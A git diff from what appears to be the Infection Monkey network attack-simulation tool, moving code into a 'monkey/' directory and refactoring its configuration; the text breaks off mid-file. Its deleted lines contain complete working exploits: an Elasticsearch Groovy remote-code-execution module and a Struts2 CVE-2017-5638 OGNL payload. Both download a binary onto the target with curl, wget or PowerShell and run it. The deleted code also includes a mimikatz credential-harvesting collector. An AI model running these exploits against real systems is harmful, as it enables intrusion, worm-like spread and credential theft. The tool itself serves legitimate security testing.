diff --git a/.gitignore b/.gitignore index 403d090ad..44ae856a5 100644 --- a/.gitignore +++ b/.gitignore @@ -62,9 +62,9 @@ docs/_build/ # PyBuilder target/ -db bin -/monkey_island/cc/server.key -/monkey_island/cc/server.crt -/monkey_island/cc/server.csr -monkey_island/cc/ui/node_modules/ +/monkey/monkey_island/db +/monkey/monkey_island/cc/server.key +/monkey/monkey_island/cc/server.crt +/monkey/monkey_island/cc/server.csr +/monkey/monkey_island/cc/ui/node_modules/ diff --git a/.travis.yml b/.travis.yml index 8b780e2fc..963c37fc6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -4,14 +4,11 @@ cache: pip python: - 2.7 - 3.6 - #- nightly - #- pypy - #- pypy3 matrix: - allow_failures: - - python: nightly - - python: pypy - - python: pypy3 + include: + - python: 3.7 + dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069) + sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069) install: #- pip install -r requirements.txt - pip install flake8 # pytest # add another testing frameworks later diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py deleted file mode 100644 index 989ae5cdf..000000000 --- a/infection_monkey/exploit/elasticgroovy.py +++ /dev/null @@ -1,238 +0,0 @@ -""" - Implementation is based on elastic search groovy exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb - Max vulnerable elasticsearch version is "1.4.2" -""" - -import json -import logging - -import requests - -from exploit import HostExploiter -from model import DROPPER_ARG -from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth - -__author__ = 'danielg' - -LOG = logging.getLogger(__name__) - - -class ElasticGroovyExploiter(HostExploiter): - # attack URLs - BASE_URL = 'http://%s:%s/_search?pretty' - MONKEY_RESULT_FIELD = "monkey_result" - GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' - JAVA_GET_TMP_DIR = \ - GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' - JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' - JAVA_CMD = GENERIC_QUERY \ - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" - JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' - - DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - - _TARGET_OS_TYPE = ['linux', 'windows'] - - def __init__(self, host): - super(ElasticGroovyExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - - def is_os_supported(self): - """ - Checks if the host is vulnerable. - Either using version string or by trying to attack - :return: - """ - if not super(ElasticGroovyExploiter, self).is_os_supported(): - return False - - if ES_SERVICE not in self.host.services: - LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) - return False - major, minor, build = self.host.services[ES_SERVICE]['version'].split('.') - major = int(major) - minor = int(minor) - build = int(build) - if major > 1: - return False - if major == 1 and minor > 4: - return False - if major == 1 and minor == 4 and build > 2: - return False - return self.is_vulnerable() - - def exploit_host(self): - real_host_os = self.get_host_os() - self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters - if 'linux' in self.host.os['type']: - return self.exploit_host_linux() - else: - return self.exploit_host_windows() - - def exploit_host_windows(self): - """ - TODO - Will exploit windows similar to smbexec - :return: - """ - return False - - def exploit_host_linux(self): - """ - Exploits linux using similar flow to sshexec and shellshock. - Meaning run remote commands to copy files over HTTP - :return: - """ - uname_machine = str(self.get_linux_arch()) - if len(uname_machine) != 0: - self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters - dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True # return already infected - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux): - return False - - self.set_file_executable_linux(dropper_target_path_linux) - self.run_monkey_linux(dropper_target_path_linux) - - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - return True - - def run_monkey_linux(self, dropper_target_path_linux): - """ - Runs the monkey - """ - - cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) - cmdline += ' & ' - self.run_shell_command(cmdline) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - def download_file_in_linux(self, src_path, target_path): - """ - Downloads a file in target machine using curl to the given target path - :param src_path: File path relative to the monkey - :param target_path: Target path in linux victim - :return: T/F - """ - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) - return False - download_command = '/usr/bin/curl %s -o %s' % ( - http_path, target_path) - self.run_shell_command(download_command) - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(target_path)): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - return False - return True - - def set_file_executable_linux(self, file_path): - """ - Marks the given file as executable using chmod - :return: Nothing - """ - chmod = '/bin/chmod +x %s' % file_path - self.run_shell_command(chmod) - LOG.info("Marked file %s on host %s as executable", file_path, self.host) - - def check_if_remote_file_exists_linux(self, file_path): - """ - :return: - """ - cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(cmdline) - - def run_shell_command(self, command): - """ - Runs a single shell command and returns the result. - """ - payload = self.JAVA_CMD % command - result = self.get_command_result(payload) - LOG.info("Ran the command %s on host %s", command, self.host) - return result - - def get_linux_arch(self): - """ - Returns host as per uname -m - """ - return self.get_command_result(self.JAVA_GET_BIT_LINUX) - - def get_host_tempdir(self): - """ - Returns where to write our file given our permissions - :return: Temp directory path in target host - """ - return self.get_command_result(self.JAVA_GET_TMP_DIR) - - def get_host_os(self): - """ - :return: target OS - """ - return self.get_command_result(self.JAVA_GET_OS) - - def is_vulnerable(self): - """ - Checks if a given elasticsearch host is vulnerable to the groovy attack - :return: True/False - """ - result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) - return 'java.lang.Runtime' in result_text - - def get_command_result(self, payload): - """ - Gets the result of an attack payload with a single return value. - :param payload: Payload that fits the GENERIC_QUERY template. - """ - result = self.attack_query(payload) - if not result: # not vulnerable - return "" - return result[0] - - def attack_query(self, payload): - """ - Wraps the requests query and the JSON parsing. - Just reduce opportunity for bugs - :return: List of data fields or None - """ - response = requests.get(self.attack_url(), data=payload) - result = self.get_results(response) - return result - - def attack_url(self): - """ - Composes the URL to attack per host IP and port. - :return: Elasticsearch vulnerable URL - """ - return self.BASE_URL % (self.host.ip_addr, ES_PORT) - - def get_results(self, response): - """ - Extracts the result data from our attack - :return: List of data fields or None - """ - try: - json_resp = json.loads(response.text) - return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] - except (KeyError, IndexError): - return None diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py deleted file mode 100644 index 3a08d0487..000000000 --- a/infection_monkey/exploit/struts2.py +++ /dev/null @@ -1,246 +0,0 @@ -""" - Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) - code used is from https://www.exploit-db.com/exploits/41570/ - Vulnerable struts2 versions <=2.3.31 and <=2.5.10 -""" -import urllib2 -import httplib -import unicodedata -import re - -import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) - -DOWNLOAD_TIMEOUT = 300 - -class Struts2Exploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', 'windows'] - - def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - - def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - - if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) - return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) - # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = EXISTS % path - resp = self.exploit(host, command) - if 'No such file' in resp: - return False - else: - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: - return False - - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: - return False - - @staticmethod - def get_redirected(url): - # Returns false if url is not right - headers = {'User-Agent': 'Mozilla/5.0'} - request = urllib2.Request(url, headers=headers) - try: - return urllib2.urlopen(request).geturl() - except urllib2.URLError: - LOG.error("Can't reach struts2 server") - return False - - @staticmethod - def exploit(url, cmd): - """ - :param url: Full url to send request to - :param cmd: Code to try and execute on host - :return: response - """ - payload = "%%{(#_='multipart/form-data')." \ - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ - "(#_memberAccess?" \ - "(#_memberAccess=#dm):" \ - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ - "(#ognlUtil.getExcludedPackageNames().clear())." \ - "(#ognlUtil.getExcludedClasses().clear())." \ - "(#context.setMemberAccess(#dm))))." \ - "(#cmd='%s')." \ - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ - "(#p=new java.lang.ProcessBuilder(#cmds))." \ - "(#p.redirectErrorStream(true)).(#process=#p.start())." \ - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ - "(#ros.flush())}" % cmd - # Turns payload ascii just for consistency - if isinstance(payload, unicode): - payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') - headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} - try: - request = urllib2.Request(url, headers=headers) - # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request).read() - except AttributeError: - # If url does not exist - return False - except httplib.IncompleteRead as e: - page = e.partial - - return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py deleted file mode 100644 index fa15e357c..000000000 --- a/infection_monkey/network/__init__.py +++ /dev/null @@ -1,30 +0,0 @@ -from abc import ABCMeta, abstractmethod - -__author__ = 'itamar' - - -class HostScanner(object): - __metaclass__ = ABCMeta - - @abstractmethod - def is_host_alive(self, host): - raise NotImplementedError() - - -class HostFinger(object): - __metaclass__ = ABCMeta - - @abstractmethod - def get_host_fingerprint(self, host): - raise NotImplementedError() - -from ping_scanner import PingScanner -from tcp_scanner import TcpScanner -from smbfinger import SMBFinger -from sshfinger import SSHFinger -from httpfinger import HTTPFinger -from elasticfinger import ElasticFinger -from mysqlfinger import MySQLFinger -from info import local_ips -from info import get_free_tcp_port -from mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py deleted file mode 100644 index 610c4e8e3..000000000 --- a/infection_monkey/system_info/windows_info_collector.py +++ /dev/null @@ -1,34 +0,0 @@ -import logging - -from mimikatz_collector import MimikatzCollector -from . import InfoCollector - -LOG = logging.getLogger(__name__) - -__author__ = 'uri' - - -class WindowsInfoCollector(InfoCollector): - """ - System information collecting module for Windows operating systems - """ - - def __init__(self): - super(WindowsInfoCollector, self).__init__() - - def get_info(self): - """ - Collect Windows system information - Hostname, process list and network subnets - Tries to read credential secrets using mimikatz - :return: Dict of system information - """ - LOG.debug("Running Windows collector") - self.get_hostname() - self.get_process_list() - self.get_network_info() - self.get_azure_info() - mimikatz_collector = MimikatzCollector() - mimikatz_info = mimikatz_collector.get_logon_info() - self.info["credentials"].update(mimikatz_info) - return self.info diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py deleted file mode 100644 index 651964fcb..000000000 --- a/infection_monkey/transport/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from ftp import FTPServer -from http import HTTPServer - -__author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index c90f8c484..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception as e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((self.local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') diff --git a/common/__init__.py b/monkey/__init__.py similarity index 100% rename from common/__init__.py rename to monkey/__init__.py diff --git a/common/network/__init__.py b/monkey/common/__init__.py similarity index 100% rename from common/network/__init__.py rename to monkey/common/__init__.py diff --git a/monkey/common/network/__init__.py b/monkey/common/network/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey/common/network/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/common/network/network_range.py b/monkey/common/network/network_range.py similarity index 100% rename from common/network/network_range.py rename to monkey/common/network/network_range.py diff --git a/monkey/common/utils/__init__.py b/monkey/common/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py new file mode 100644 index 000000000..7524a545e --- /dev/null +++ b/monkey/common/utils/mongo_utils.py @@ -0,0 +1,83 @@ +import wmi +import win32com + +__author__ = 'maor.rayzin' + + +class MongoUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def fix_obj_for_mongo(o): + if type(o) == dict: + return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + + elif type(o) in (list, tuple): + return [MongoUtils.fix_obj_for_mongo(i) for i in o] + + elif type(o) in (int, float, bool): + return o + + elif type(o) in (str, unicode): + # mongo dosn't like unprintable chars, so we use repr :/ + return repr(o) + + elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: + return MongoUtils.fix_wmi_obj_for_mongo(o) + + elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: + try: + # objectSid property of ds_user is problematic and need thie special treatment. + # ISWbemObjectEx interface. Class Uint8Array ? + if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + return o.Value + except: + pass + + try: + return o.GetObjectText_() + except: + pass + + return repr(o) + + else: + return repr(o) + + @staticmethod + def fix_wmi_obj_for_mongo(o): + row = {} + + for prop in o.properties: + try: + value = getattr(o, prop) + except wmi.x_wmi: + # This happens in Win32_GroupUser when the user is a domain user. + # For some reason, the wmi query for PartComponent fails. This table + # is actually contains references to Win32_UserAccount and Win32_Group. + # so instead of reading the content to the Win32_UserAccount, we store + # only the id of the row in that table, and get all the other information + # from that table while analyzing the data. + value = o.properties[prop].value + + row[prop] = MongoUtils.fix_obj_for_mongo(value) + + for method_name in o.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(o, method_name) + + try: + value = method() + value = MongoUtils.fix_obj_for_mongo(value) + row[method_name[3:]] = value + + except wmi.x_wmi: + continue + + return row + diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py new file mode 100644 index 000000000..1e6c297b3 --- /dev/null +++ b/monkey/common/utils/reg_utils.py @@ -0,0 +1,25 @@ +import _winreg + +from common.utils.mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class RegUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): + key = _winreg.ConnectRegistry(None, store) + subkey = _winreg.OpenKey(key, subkey_path) + + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = MongoUtils.fix_obj_for_mongo(d) + + subkey.Close() + key.Close() + + return d diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py new file mode 100644 index 000000000..7b1dae455 --- /dev/null +++ b/monkey/common/utils/wmi_utils.py @@ -0,0 +1,27 @@ +import wmi + +from mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class WMIUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None): + _wmi = wmi.WMI(moniker=moniker) + + try: + if not properties: + wmi_class = getattr(_wmi, class_name)() + else: + wmi_class = getattr(_wmi, class_name)(properties) + + except wmi.x_wmi: + return + + return MongoUtils.fix_obj_for_mongo(wmi_class) diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py new file mode 100644 index 000000000..86e5f5657 --- /dev/null +++ b/monkey/infection_monkey.py @@ -0,0 +1,4 @@ +import infection_monkey.main + +if "__main__" == __name__: + infection_monkey.main.main() diff --git a/monkey/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey/infection_monkey/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh similarity index 100% rename from infection_monkey/build_linux.sh rename to monkey/infection_monkey/build_linux.sh diff --git a/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat similarity index 100% rename from infection_monkey/build_windows.bat rename to monkey/infection_monkey/build_windows.bat diff --git a/infection_monkey/config.py b/monkey/infection_monkey/config.py similarity index 74% rename from infection_monkey/config.py rename to monkey/infection_monkey/config.py index 818bc75a0..4a63c082b 100644 --- a/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,15 +1,13 @@ import os -import struct +import json import sys import types import uuid from abc import ABCMeta from itertools import product +import importlib -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ - MSSQLFinger +importlib.import_module('infection_monkey', 'network') __author__ = 'itamar' @@ -18,57 +16,47 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -def _cast_by_example(value, example): - """ - a method that casts a value to the type of the parameter given as example - """ - example_type = type(example) - if example_type is str: - return os.path.expandvars(value).encode("utf8") - elif example_type is tuple and len(example) != 0: - if value is None or value == tuple([None]): - return tuple() - return tuple([_cast_by_example(x, example[0]) for x in value]) - elif example_type is list and len(example) != 0: - if value is None or value == [None]: - return [] - return [_cast_by_example(x, example[0]) for x in value] - elif example_type is type(value): - return value - elif example_type is bool: - return value.lower() == 'true' - elif example_type is int: - return int(value) - elif example_type is float: - return float(value) - elif example_type in (type, ABCMeta): - return globals()[value] - else: - return None - - class Configuration(object): - def from_dict(self, data): - """ - Get a dict of config variables, set known variables as attributes on self. - Return dict of unknown variables encountered. - """ - unknown_variables = {} - for key, value in data.items(): + + def from_kv(self, formatted_data): + # now we won't work at <2.7 for sure + network_import = importlib.import_module('infection_monkey.network') + exploit_import = importlib.import_module('infection_monkey.exploit') + + unknown_items = [] + for key, value in formatted_data.items(): if key.startswith('_'): continue if key in ["name", "id", "current_server"]: continue if self._depth_from_commandline and key == "depth": continue - try: - default_value = getattr(Configuration, key) - except AttributeError: - unknown_variables[key] = value - continue + # handle in cases + if key == 'finger_classes': + class_objects = [getattr(network_import, val) for val in value] + setattr(self, key, class_objects) + elif key == 'scanner_class': + scanner_object = getattr(network_import, value) + setattr(self, key, scanner_object) + elif key == 'exploiter_classes': + class_objects = [getattr(exploit_import, val) for val in value] + setattr(self, key, class_objects) + else: + if hasattr(self, key): + setattr(self, key, value) + else: + unknown_items.append(key) + return unknown_items - setattr(self, key, _cast_by_example(value, default_value)) - return unknown_variables + def from_json(self, json_data): + """ + Gets a json data object, parses it and applies it to the configuration + :param json_data: + :return: + """ + formatted_data = json.loads(json_data) + result = self.from_kv(formatted_data) + return result def as_dict(self): result = {} @@ -145,12 +133,9 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits - SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi - ] + scanner_class = None + finger_classes = [] + exploiter_classes = [] # how many victims to look for in a single scan iteration victims_max_find = 30 @@ -186,12 +171,14 @@ class Configuration(object): local_network_scan = True subnet_scan_list = [] + inaccessible_subnets = [] blocked_ips = [] # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, # HTTP alternate + 